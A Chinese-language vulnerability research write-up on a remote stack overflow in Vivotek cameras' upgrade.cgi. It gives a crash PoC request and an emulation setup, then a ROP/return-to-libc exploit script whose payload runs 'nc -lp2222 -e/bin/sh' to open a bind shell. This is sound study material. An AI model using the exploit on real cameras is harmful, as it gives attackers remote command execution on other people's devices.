β

Vivotek 摄像头远程栈溢出漏洞分析及利用

知道创宇 57 阅读

作者:fenix@知道创宇404实验室

前言

近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃。

漏洞作者 @bashis 放出了可造成摄像头 Crash 的 PoC : https://www.seebug.org/vuldb/ssvid-96866 /https://www.seebug.org/vuldb/ssvid-96866

该漏洞在 Vivotek 的摄像头中广泛存在,按照官方的安全公告,会影响以下版本

<ol class="linenums"><li class="L0"><code><span class="pln">CC8160 CC8370</span><span class="pun">-</span><span class="pln">HV CC8371</span><span class="pun">-</span><span class="pln">HV CD8371</span><span class="pun">-</span><span class="pln">HNTV CD8371</span><span class="pun">-</span><span class="pln">HNVF2 FD8166A</span></code></li><li class="L1"><code><span class="pln">FD8166A</span><span class="pun">-</span><span class="pln">N FD8167A FD8167A</span><span class="pun">-</span><span class="pln">S FD8169A FD8169A</span><span class="pun">-</span><span class="pln">S FD816BA</span><span class="pun">-</span><span class="pln">HF2</span></code></li><li class="L2"><code><span class="pln">FD816BA</span><span class="pun">-</span><span class="pln">HT FD816CA</span><span class="pun">-</span><span class="pln">HF2 FD8177</span><span class="pun">-</span><span class="pln">H FD8179</span><span class="pun">-</span><span class="pln">H FD8182</span><span class="pun">-</span><span class="pln">F1 FD8182</span><span class="pun">-</span><span class="pln">F2</span></code></li><li class="L3"><code><span class="pln">FD8182</span><span class="pun">-</span><span class="pln">T FD8366</span><span class="pun">-</span><span class="pln">V FD8367A</span><span class="pun">-</span><span class="pln">V FD8369A</span><span class="pun">-</span><span class="pln">V FD836BA</span><span class="pun">-</span><span class="pln">EHTV FD836BA</span><span class="pun">-</span><span class="pln">EHVF2</span></code></li><li class="L4"><code><span class="pln">FD836BA</span><span class="pun">-</span><span class="pln">HTV FD836BA</span><span class="pun">-</span><span class="pln">HVF2 FD8377</span><span class="pun">-</span><span class="pln">HV FD8379</span><span class="pun">-</span><span class="pln">HV FD8382</span><span class="pun">-</span><span class="pln">ETV FD8382</span><span class="pun">-</span><span class="pln">EVF2</span></code></li><li class="L5"><code><span class="pln">FD8382</span><span class="pun">-</span><span class="pln">TV FD8382</span><span class="pun">-</span><span class="pln">VF2 FD9171</span><span class="pun">-</span><span class="pln">HT FD9181</span><span class="pun">-</span><span class="pln">HT FD9371</span><span class="pun">-</span><span class="pln">EHTV FD9371</span><span class="pun">-</span><span class="pln">HTV</span></code></li><li class="L6"><code><span class="pln">FD9381</span><span class="pun">-</span><span class="pln">EHTV FD9381</span><span class="pun">-</span><span class="pln">HTV FE8182 FE9181</span><span class="pun">-</span><span class="pln">H FE9182</span><span class="pun">-</span><span class="pln">H FE9191</span></code></li><li class="L7"><code><span class="pln">FE9381</span><span class="pun">-</span><span class="pln">EHV FE9382</span><span class="pun">-</span><span class="pln">EHV FE9391</span><span class="pun">-</span><span class="pln">EV IB8360 IB8360</span><span class="pun">-</span><span class="pln">W IB8367A</span></code></li><li class="L8"><code><span class="pln">IB8369A IB836BA</span><span class="pun">-</span><span class="pln">EHF3 IB836BA</span><span class="pun">-</span><span class="pln">EHT IB836BA</span><span class="pun">-</span><span class="pln">HF3 IB836BA</span><span class="pun">-</span><span class="pln">HT IB8377</span><span class="pun">-</span><span class="pln">H</span></code></li><li class="L9"><code><span class="pln">IB8379</span><span class="pun">-</span><span class="pln">H IB8382</span><span class="pun">-</span><span class="pln">EF3 IB8382</span><span class="pun">-</span><span class="pln">ET IB8382</span><span class="pun">-</span><span class="pln">F3 IB8382</span><span class="pun">-</span><span class="pln">T IB9371</span><span class="pun">-</span><span class="pln">EHT</span></code></li><li class="L0"><code><span class="pln">IB9371</span><span class="pun">-</span><span class="pln">HT IB9381</span><span class="pun">-</span><span class="pln">EHT IB9381</span><span class="pun">-</span><span class="pln">HT IP8160 IP8160</span><span class="pun">-</span><span class="pln">W IP8166</span></code></li><li class="L1"><code><span class="pln">IP9171</span><span class="pun">-</span><span class="pln">HP IP9181</span><span class="pun">-</span><span class="pln">H IZ9361</span><span class="pun">-</span><span class="pln">EH MD8563</span><span class="pun">-</span><span class="pln">EHF2 MD8563</span><span class="pun">-</span><span class="pln">EHF4 MD8563</span><span class="pun">-</span><span class="pln">HF2</span></code></li><li class="L2"><code><span class="pln">MD8563</span><span class="pun">-</span><span class="pln">HF4 MD8564</span><span class="pun">-</span><span class="pln">EH MD8565</span><span class="pun">-</span><span class="pln">N SD9161</span><span class="pun">-</span><span class="pln">H SD9361</span><span class="pun">-</span><span class="pln">EHL SD9362</span><span class="pun">-</span><span class="pln">EH</span></code></li><li class="L3"><code><span class="pln">SD9362</span><span class="pun">-</span><span class="pln">EHL SD9363</span><span class="pun">-</span><span class="pln">EHL SD9364</span><span class="pun">-</span><span class="pln">EH SD9364</span><span class="pun">-</span><span class="pln">EHL SD9365</span><span class="pun">-</span><span class="pln">EHL SD9366</span><span class="pun">-</span><span class="pln">EH</span></code></li><li class="L4"><code><span class="pln">SD9366</span><span class="pun">-</span><span class="pln">EHL VS8100</span><span class="pun">-</span><span class="pln">V2</span></code></li></ol>

Vivotek 官方提供了各种型号摄像头的固件下载: http://www.vivotek.com/firmware/ ,这也为我们的研究带来了很多便利。

我们发现,漏洞被曝出之后,在官网固件下载页面中的大多数固件均早于漏洞曝出时间,我们下载了几款摄像头的最新固件进行验证,发现漏洞依然存在,这意味着截止漏洞被曝出,Vivotek 官方对该漏洞的修复并不彻底。众所周知,栈溢出是存在潜在的远程命令执行风险的,为了深入了解该漏洞的影响,我们决定研究下该漏洞的原理及利用。

调试环境搭建

固件下载

由于手头上并没有 Vivotek 的摄像头,我们在官网下载其中一款摄像头固件,使用 qemu 模拟运行。(注:官方在陆续发布各个版本的固件更新,可根据固件发布时间判断官方是否已经修复漏洞)

首先下载摄像头固件: http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip /http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip

通过 binwalk 直接解压出其中的文件系统,和漏洞有关的主要文件如下

根据 file 命令的结果可知目标架构为 ARM 、小端、32位。且该 ELF 文件为动态链接。

修复运行依赖

尝试用 qemu 运行,结果如下

服务没有运行起来,且没有明显的报错,猜想到可能是缺少某些依赖,程序直接退出了,扔到 IDA,从程序退出前的提示: gethostbyname:: Success ,回溯程序异常退出原因。

依次加载IDA 菜单栏 -> View -> Open subviews -> Strings, Command + F 搜索 gethostname

查看交叉引用信息,定位相应代码段

异常退出部分代码如下

为了看的更直观,我们来贴一下 F5 的结果,如下

这部分主要涉及两个函数。gethostname():返回本地主机的标准主机名,如果函数成功,则返回 0。如果发生错误则返回 -1。gethostbyname():用域名或主机名获取IP地址。

Linux 操作系统的 hostname 是一个 kernel 变量,可以通过 hostname 命令来查看本机的 hostname。也可以直接 cat /proc/sys/kernel/hostname 查看。

我们只需要将二者改成一致,httpd 服务即可成功运行。

调试环境

为了方便调试,还需要搭建 qemu 虚拟机环境。

qemu 镜像文件下载: https://people.debian.org/~aurel32/qemu/armel/ (下载内核 3.2 的版本)

远程调试 gdbserver: https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static /https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static

qemu 虚拟机建议采用 桥接 方式和主机连接。

<ol class="linenums"><li class="L0"><code class="lang-bash"><span class="com">#!/bin/bash</span></code></li><li class="L1"><code class="lang-bash"></code></li><li class="L2"><code class="lang-bash"><span class="pln">sudo tunctl </span><span class="pun">-</span><span class="pln">t tap0 </span><span class="pun">-</span><span class="pln">u </span><span class="str">`whoami`</span></code></li><li class="L3"><code class="lang-bash"><span class="pln">sudo ifconfig tap0 </span><span class="lit">192.168</span><span class="pun">.</span><span class="lit">2.1</span><span class="pun">/</span><span class="lit">24</span></code></li><li class="L4"><code class="lang-bash"><span class="pln">qemu</span><span class="pun">-</span><span class="pln">system</span><span class="pun">-</span><span class="pln">arm </span><span class="pun">-</span><span class="pln">M versatilepb </span><span class="pun">-</span><span class="pln">kernel vmlinuz</span><span class="pun">-</span><span class="lit">3.2</span><span class="pun">.</span><span class="lit">0</span><span class="pun">-</span><span class="lit">4</span><span class="pun">-</span><span class="pln">versatile </span><span class="pun">-</span><span class="pln">initrd initrd</span><span class="pun">.</span><span class="pln">img</span><span class="pun">-</span><span class="lit">3.2</span><span class="pun">.</span><span class="lit">0</span><span class="pun">-</span><span class="lit">4</span><span class="pun">-</span><span class="pln">versatile </span><span class="pun">-</span><span class="pln">hda debian_wheezy_armel_standard</span><span class="pun">.</span><span class="pln">qcow2 </span><span class="pun">-</span><span class="pln">append </span><span class="str">"root=/dev/sda1"</span><span class="pln">  </span><span class="pun">-</span><span class="pln">net nic </span><span class="pun">-</span><span class="pln">net tap</span><span class="pun">,</span><span class="pln">ifname</span><span class="pun">=</span><span class="pln">tap0</span><span class="pun">,</span><span class="pln">script</span><span class="pun">=</span><span class="pln">no</span><span class="pun">,</span><span class="pln">downscript</span><span class="pun">=</span><span class="pln">no </span><span class="pun">-</span><span class="pln">nographic</span></code></li></ol>

启动虚拟机,进行简单配置等待远程调试。

漏洞研究

定位溢出点

以下为漏洞作者 @bashis 提供的 PoC

<ol class="linenums"><li class="L0"><code><span class="pln">echo </span><span class="pun">-</span><span class="pln">en </span><span class="str">"POST /cgi-bin/admin/upgrade.cgi </span></code></li><li class="L1"><code><span class="str">HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"</span><span class="pln">  </span><span class="pun">|</span><span class="pln"> ncat </span><span class="pun">-</span><span class="pln">v </span><span class="lit">192.168</span><span class="pun">.</span><span class="lit">57.20</span><span class="pln"> </span><span class="lit">80</span></code></li></ol>

老套路, 根据 Content-Length 很容易定位到溢出点,如下

惊讶到了,strncpy() 函数的长度参数竟然这么用,妥妥的溢出。

调用栈布局

dest 缓冲区起始地址距离栈底 0x38 字节,栈上依次为 LR、R11-R4。 Content-Length 长度超过 0x38 - 4 字节就会覆盖函数的返回地址 LR。

exp 研究

strncpy() 函数引起的栈溢出,在利用时就会有很 egg hurt 的 0x00 坏字符问题,如果我们的输入数据中包含 0x00 ,将会被截断导致漏洞利用失败。根据溢出点附近的汇编代码来看, 0x0a 也会被截断。且开启了 NX 保护,这意味着我们无法在栈上部署 shellcode

尝试通过 return2libc 的方式 getshell。由于没有实际的摄像头,我们不知道目标系统是否开启了 ASLR ,如果 ASLR 是开启的且没有其它可用来暴露 libC 动态链接库内存地址的漏洞,那么利用该漏洞将会是一个很难受的过程。

采用以下方式暂时关闭 ASLR

<ol class="linenums"><li class="L0"><code><span class="pln">echo </span><span class="lit">0</span><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="str">/proc/</span><span class="pln">sys</span><span class="pun">/</span><span class="pln">kernel</span><span class="pun">/</span><span class="pln">randomize_va_space</span></code></li></ol>

libC 库的加载地址如下

接下来就需要精心构造数据,劫持函数的执行流程了。有一点需要注意,X86 架构下的所有参数都是通过堆栈传递的,而在 MIPS 和 ARM 架构中,会优先通过寄存器传递参数,如果参数个数超过了寄存器的数量,则将剩下的参数压入调用参数空间(即堆栈)。

从前面的分析来看,只要我们构造 0x38 - 4 字节以上的数据,栈底的函数返回地址就会被我们劫持。system() 函数地址 = libC 库在内存中的加载基址 + system() 函数在 libC 库中的偏移,通过劫持该地址为 libC 库中的 system() 函数地址,再设置 R0 寄存器指向命令字符串,就可以执行任意命令。

经过验证, nc 命令可以正常使用。

接下来我们开始构造 ROP 利用链,大致思路见以下汇编代码。

Github 上有个很赞的项目: https://github.com/JonathanSalwan/ROPgadget /https://github.com/JonathanSalwan/ROPgadget

它可以用来搜索 ELF 文件中的 gadgets,方便我们构造 ROP 链。

我们需要将字符串参数 nc -lp2222 -e/bin/sh 部署到栈上,并且将地址存入 R0 。该参数包含 20 个字节,且不含坏字符。

libC 基址为 0xb6f2d000 ,由该地址可知 gadget 在内存中的有效地址。发生溢出时栈顶地址为 0xbeffeb50

利用 ROPgadget 搜索可用的 gadgets,在选择 gadget 时要还考虑坏字符的问题。比如说如下的 gadget 就不得行。

再搜索一条可用的 gadget,俗称曲线救国。

选择以下两条 gadget,构造 ROP 如下。

<ol class="linenums"><li class="L0"><code><span class="com"># 基于 qemu 模拟环境</span></code></li><li class="L1"><code><span class="com"># 摄像头型号:Vivotek CC8160</span></code></li><li class="L2"><code><span class="com"># 0x00048784 : pop {r1, pc} </span></code></li><li class="L3"><code><span class="com"># 0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}</span></code></li><li class="L4"><code></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="com">#!/usr/bin/python</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="kwd">from</span><span class="pln"> pwn </span><span class="kwd">import</span><span class="pln"> </span><span class="pun">*</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">libc_base </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xb6f2d000</span><span class="pln">    </span><span class="com"># libC 库在内存中的加载地址</span></code></li><li class="L1"><code><span class="pln">stack_base </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xbeffeb70</span><span class="pln"> </span><span class="com"># 崩溃时 SP 寄存器的地址</span></code></li><li class="L2"><code><span class="pln">libc_elf </span><span class="pun">=</span><span class="pln"> ELF</span><span class="pun">(</span><span class="str">'libuClibc-0.9.33.3-git.so'</span><span class="pun">)</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">payload </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0x38</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">4</span><span class="pun">)</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="str">'a'</span><span class="pln"> </span><span class="com"># padding</span></code></li><li class="L5"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln">  p32</span><span class="pun">(</span><span class="lit">0x00048784</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> libc_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># gadget1</span></code></li><li class="L6"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="lit">0x80</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> stack_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># 栈中命令参数地址</span></code></li><li class="L7"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="lit">0x00016aa4</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> libc_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># gadget2</span></code></li><li class="L8"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0x8</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="str">'a'</span><span class="pun">)</span><span class="pln">    </span><span class="com"># padding</span></code></li><li class="L9"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="pln">libc_elf</span><span class="pun">.</span><span class="pln">symbols</span><span class="pun">[</span><span class="str">'system'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> libc_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># 内存中 system() 函数地址</span></code></li><li class="L0"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> </span><span class="pun">(</span><span class="str">'pwd;'</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="lit">0x100</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="str">'nc\x20-lp2222\x20-e/bin/sh\x20>'</span><span class="pun">)</span><span class="pln"> </span><span class="com"># 命令参数</span></code></li><li class="L1"><code></code></li><li class="L2"><code></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">payload </span><span class="pun">=</span><span class="pln"> </span><span class="str">'echo -en "POST /cgi-bin/admin/upgrade.cgi \nHTTP/1.0\nContent-Length:{}\n\r\n\r\n"  | nc -v 192.168.2.2 80'</span><span class="pun">.</span><span class="pln">format</span><span class="pun">(</span><span class="pln">payload</span><span class="pun">)</span></code></li></ol>

通过调试 ,我们可以获得崩溃时的栈顶地址,为了确保命令能执行,我们在真正要执行的命令前加了部分命令作为缓冲。

可以看到,开启了 NX 保护的栈上虽然不可执行代码,但是依然可以在上面部署数据。我们只需要将要执行的命令部署到栈上,构造 ROP 让 R0 寄存器指向栈上的命令所在区域,然后 return2libC 调用系统函数,就可以执行任意命令了。

已将 PoC 和 EXP 整理成 Pocsuite 脚本: https://www.seebug.org/vuldb/ssvid-96866 /https://www.seebug.org/vuldb/ssvid-96866 ,验证效果如下。

致谢

第一次接触 ARM 汇编,有很多不足之处,欢迎各大佬指正。中途踩了不少坑,感谢 404 小伙伴 @Hcamael 和 @没有ID 的各种疑难解答。

参考链接

作者:知道创宇
更好更安全的互联网
原文地址:Vivotek 摄像头远程栈溢出漏洞分析及利用, 感谢原作者分享。

发表评论